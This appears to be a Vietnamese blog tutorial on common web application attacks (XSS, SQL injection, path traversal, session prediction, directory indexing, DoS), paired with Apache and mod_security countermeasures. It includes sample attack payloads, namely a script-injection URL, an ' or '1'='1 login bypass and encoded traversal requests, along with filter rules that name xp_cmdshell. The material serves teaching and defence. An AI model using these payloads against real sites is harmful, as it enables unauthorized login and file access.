<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Ví dụ: Điều khiển truy cập thông qua httpd.conf</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
<LocationMatch “^/admin/”></address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SSLRequireSSL</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
AuthType Digest</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
AuthName “Admin Area”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
AuthDigestfile /usr/local/apache/conf/passwd_digest</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
Require user admin</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
</LocationMatch></address>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Dự đoán, chèn phiên (Credentical/Session Prediction)</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Dự đoán, chèn phiênlà một phương thức chiếm phiên (hijacking). Thông thường, khi một tài khoản thực hiện quá trình chứng thực đối với server (tài khoản/mật khẩu). Dựa vào các thông tin này, server sẽ tạo một giá trị session ID duy nhất để cho phép và duy trì kết nối. Nếu đoán được session ID kế tiếp thì tin tặc có khả năng chiếm phiên đăng nhập của người dùng hợp lệ khác.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Sử dụng SSL (<em style="box-sizing: border-box;">mod_ssl</em>) trong quá trình chứng thực để chống lại việc nghe lén dữ liệu quan trọng.</li>
<li style="box-sizing: border-box;">Sử dụng cơ chế tạo session ID ngẫu nhiên, thuật toán mã hóa mạnh.</li>
<li style="box-sizing: border-box;">Session ID phải đủ lớn để làm khó quá trình tấn công brute-fore.</li>
<li style="box-sizing: border-box;">Giới hạn thời gian tồn tại của session ID.</li>
</ul>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">XSS – Cross-Site Scripting</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
XSS là một trong những kĩ thuật tấn công phổ biến nhất hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Tin tặc tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP …) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Ví dụ: Sử dụng XSS chèn mã java script trực tiếp trên URL</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
http://www.demo.com/search.cgi?query=<script>alert(‘XSS was found !’);</script></address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Khi wesite http://www.demo.combị lỗi XSS trình duyệt sẽ hiện lên một thông báo “XSS was found !”.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Chỉ cho phép những dữ liệu hợp lệ, từ chối nhận các dữ liệu sai, thường xuyên kiểm tra và lọc dữ liệu đầu vào.</li>
<li style="box-sizing: border-box;">Sử dụng Mod_Security để lọc một số dữ liệu tấn công XSS.</li>
</ul>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*meta*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*style*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*script*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*iframe*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*object*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*img*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*applet*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*form*\”?[^>]*>”</address>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">SQL injection</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Tấn công SQL Injection được thực thi bằng cách chèn các câu truy vấn SQL vào dữ liệu tương tác giữa máy khách và trình ứng dụng. Quá trình khai thác lỗi SQL Injection thành công có thể giúp tin tặc lấy được các dữ liệu nhạy cảm trong cở sở dữ liệu, thay đổi cơ sở dữ liệu (Insert/Update/Delete), thực thi các hành động với quyền của người quản trị và cao hơn có thể điều khiển được hệ điều hành máy chủ</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Ví dụ: Xét đoạn mã truy vấn SQL sau:</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SELECT * FROM Users WHERE Username=’$username’ AND Password=’$password’</address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Đây là một câu truy vấn thường hay được dùng trong các trình ứng dụng nhằm xác thực người dùng. Nếu câu truy vấn trả về một giá trị nói rằng thông tin về người dùng đang đăng nhập là đúng và được lưu trong cơ sở dữ liệu, thì người dùng được phép đăng nhập vào hệ thống, ngược lại thì không đăng nhập được. Người dùng nhập thông tin đó vào các trường gọi là web form.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Thay vì nhập đúng tên đăng nhập và mật khẩu, thử nhập vào các ký tự đặc biệt như:</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
$username = 1′ or ’1′ = ’1</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
$password = 1′ or ’1′ = ’1</address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Khi đó câu truy vấn sẽ là:</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SELECT * FROM Users WHERE Username=’1′ OR ’1′ = ’1′ AND Password=’1′ OR ’1′ = ’1′</address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Giả sử rằng giá trị của các tham số được gửi tới máy chủ bằng phương thức GET, thì có một câu lệnh khai thác lỗi như sau:</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
http://www.example.com/index.php?username=1′%20or%20’1′%20=%20’1&password=1′%20or%20’1′%20=%20’1</address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Khi đó, truy vấn sẽ trả về một giá trị (hay một loạt các giá trị) vì điều kiện trên luôn luôn đúng (OR 1=1). Trong trường hợp này tin tặc sẽ đăng nhập được vào hệ thống mà không cần biết tên đăng nhập và mật khẩu. Trường hợp này sẽ rất nguy hiểm nếu dòng đầu tiên trong bảng “Users” là tài khoản của người quản trị (admin) vì tin tặc sẽ đăng nhập vào hệ thống bằng tài khoản đầu tiên trong bảng này.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Kiểm tra dữ liệu đầu vào.</li>
<li style="box-sizing: border-box;">Sử dụng Mod_Security để lọc một số dữ liệu tấn công SQL injection.</li>
</ul>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter “delete[[:space:]]+from”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter “insert[[:space:]]+into”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter “select.+from”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_cmdshell</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_regread</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_regwrite</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_regdeletekeySecFilter xp_enumdsn</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_filelist</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_availablemedia</address>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Liệt kê thư mục (Directory indexing)</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Đây là chức năng web server cho phép liệt kê tất cả nội dung bên trong một thư mục mà không có tập tin cơ sở (index.html/home.html/ default.html). Trong các thư mục đó có thể chứa nội dung quan trọng: tập tin cơ sở dữ liệu dự phòng, tập tin cấu hình, tập tin lưu trữ tạm thời, các kịch bản…</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Thiết lập quyền hợp lý trên các thư mục chứa nội dung web.</li>
<li style="box-sizing: border-box;">Sử dụng mod_security để lọc dữ liệu đầu vào</li>
</ul>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterScanOutput On</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective OUTPUT “\<title\>Index of /”</address>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Path Traversal</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Path Traversal hay còn được biết với một số tên khác như “dot-dot-slash”, “directory traversal”,”directory clumbing” và “backtracking” là hình thức tấn công truy cập đến những file và thư mục mà được lưu bên ngoài thư mục webroot.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Hình thức tấn công này không cần sử dụng một công cụ nào mà chỉ đơn thuần thao tác các biến với ../ (dot-dot-slash) để truy cập đến file, thư mục, bao gồm cả source code, những file hệ thống, …</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Ví dụ:</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
GET /../../../../../some/file HTTP/1.0</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
GET /..%255c..%255c..%255csome/file HTTP/1.0</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
GET /..%u2216..%u2216some/file HTTP/1.0</address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Sử dụng mod_security để lọc dữ liệu đầu vào</li>
</ul>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective SCRIPT_FILENAME “/scripts/foo.cgi” chain</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective ARG_home “!^[a-zA-Z].{15,}\.txt”</address>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Từ chối dịch vụ (DoS)</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
DoS là kỹ thuật tấn công nhằm không cho phép các truy cập hợp lệ truy cập tới server. Kỹ thuật tấn công này thường xảy ra tại lớp mạngvà lớp ứng dụng.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Các hệ thống đích có thể bị tấn công DoS:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Người dùng riêng lẻ: quá trình đăng nhập lặp đi lặp lại với tài khoản hợp lệ nhưng mật khẩu không đúng. Sau nhiều lần đăng nhập sai, hệ thống sẽ khóa tài khoản hợp lệ này, dẫn đến người dùng hợp lệ sẽ không thể đăng nhập được.</li>
<li style="box-sizing: border-box;">Máy chủ cơ sở dữ liệu: Sử dụng kỹ thuật chèn câu lệnh truy vấn SQL chỉnh sửa cơ sở dữ liệu, vì thế hệ thống sẽ không thể phục vụ các truy cập từ client.</li>
<li style="box-sizing: border-box;">Máy chủ phục vụ web: Sử dụng kỹ thuật tấn công tràn bộ đệm ( Buffer Overflow) để gới các gói truy vấn và làm đổ vỡ các tiến trình tại phía máy chủ phục vụ web, dẫn đến hệ thống máy chủ webserver sẽ không có khả năng phục vụ các truy cập hợp lý.</li>
</ul>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Sử dụng module Mod_Dosevasive</li>
<li style="box-sizing: border-box;">Thiết lập các thông tin hợp lý cho máy chủ phục vụ web: KeepAlives, KeepAliveTimeouts, MaxKeepAliveRequests…</li>
</ul>

Một số phương thức tấn công ứng dụng web

Đối với các cơ quan, tổ chức website là kênh cung cấp thông tin hiệu quả và nhanh chóng nhất. Cũng chính đặc điểm này, các website thường x...